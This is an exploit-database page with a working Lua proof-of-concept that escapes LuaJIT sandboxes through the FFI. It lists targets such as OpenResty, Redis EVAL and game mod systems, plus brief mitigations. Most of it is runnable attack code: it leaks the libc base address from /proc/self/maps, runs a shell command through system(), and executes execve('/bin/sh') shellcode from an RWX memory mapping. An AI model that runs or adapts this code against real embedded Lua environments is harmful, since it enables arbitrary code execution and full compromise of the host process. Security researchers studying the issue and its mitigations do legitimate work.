LuaJIT 2.1.1774638290 - Arbitrary Code Execution



EKU-ID: 56412 CVE: OSVDB-ID:
Author: Taurus Omar Published: 2026-05-07 Verified: Not Verified
Download:

Rating

☆☆☆☆☆
Home


-- Exploit Title: LuaJIT 2.1.1774638290 - Arbitrary Code Execution
-- Date: 2026-03-29
-- Exploit Author: TaurusOmar
-- Vendor Homepage: https://luajit.org/
-- Software Link: https://luajit.org/download.html
-- Version: LuaJIT 2.1.1774638290 (latest)
-- Tested on: Linux x86-64 (Arch Linux)


-- Description:
-- LuaJIT's Foreign Function Interface (FFI) provides unrestricted access
-- to native C functions including syscall(), mmap(), mprotect() and
-- arbitrary shared library loading. When FFI is accessible to untrusted
-- Lua code in embedding scenarios (OpenResty, Redis, game engines, IoT),
-- an attacker can achieve arbitrary code execution with full process
-- privileges including shellcode execution via mmap(RWX)+ffi.copy()+ffi.cast().
--
-- This affects any application embedding LuaJIT 2.1.x without explicitly
-- disabling FFI (-DLUAJIT_DISABLE_FFI) or removing it from the sandbox
-- environment before executing untrusted scripts.
--
-- Verified on LuaJIT 2.1.1774638290 (March 2026) — latest version.
--
-- Attack scenarios:
--   - OpenResty/Nginx with user-controlled Lua scripts
--   - Redis with exposed EVAL interface
--   - Game engines with Lua modding systems
--   - IoT devices with Lua scripting interface
--
-- Mitigation:
--   - Compile with -DLUAJIT_DISABLE_FFI
--   - Remove 'ffi' from sandbox environment table
--   - Apply OS-level restrictions: seccomp-bpf, AppArmor, namespaces

local ffi = require("ffi")
local bit = require("bit")

ffi.cdef[[
    int      getpid(void);
    long     syscall(long number, ...);
    int      system(const char *command);
    void    *mmap(void *addr, size_t length, int prot,
                  int flags, int fd, long offset);
    int      munmap(void *addr, size_t length);
]]

print("=" .. string.rep("=", 55))
print("  LuaJIT 2.1.x - FFI Unrestricted Syscall Access PoC")
print("=" .. string.rep("=", 55))

-- dlsym resolves libc symbols without restriction
local pid_libc = ffi.C.getpid()
print("\n[1] ffi.C.getpid() via dlsym: " .. pid_libc)

-- Direct kernel syscall channel (SYS_getpid = 39 x86-64)
local pid_sc = tonumber(ffi.C.syscall(39))
print("[2] syscall(39) direct:       " .. pid_sc)

if pid_libc == pid_sc then
    print("[+] Both channels confirmed active\n")
end

-- ASLR bypass via /proc/self/maps
local f = io.open("/proc/self/maps", "r")
for line in f:lines() do
    if line:find("libc.so") and line:find("r--p") then
        local base = tonumber("0x" .. line:match("^(%x+)"))
        print("[3] libc base (ASLR bypass): 0x" .. string.format("%x", base))
        break
    end
end
f:close()

-- Arbitrary command execution
print("[4] ffi.C.system('id'):")
ffi.C.system("id")

-- Shellcode execution via mmap(RWX)
print("\n[5] Shellcode execution via mmap(RWX):")
local PROT_RWX  = bit.bor(1, 2, 4)
local MAP_FLAGS = bit.bor(0x02, 0x20)

-- x86-64 execve("/bin/sh", NULL, NULL) - syscall 59
local shellcode =
    "\x48\x31\xd2"
    .. "\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68\x00"
    .. "\x53"
    .. "\x48\x89\xe7"
    .. "\x48\x31\xf6"
    .. "\x48\x31\xc0"
    .. "\xb0\x3b"
    .. "\x0f\x05"

local mem = ffi.C.mmap(nil, 4096, PROT_RWX, MAP_FLAGS, -1, 0)
if ffi.cast("long", mem) ~= -1 then
    print("    RWX region: 0x" .. string.format("%x", ffi.cast("unsigned long", mem)))
    ffi.copy(mem, shellcode, #shellcode)
    print("    Shellcode written. Executing execve('/bin/sh')...")
    local fn = ffi.cast("void(*)(void)", mem)
    fn()
end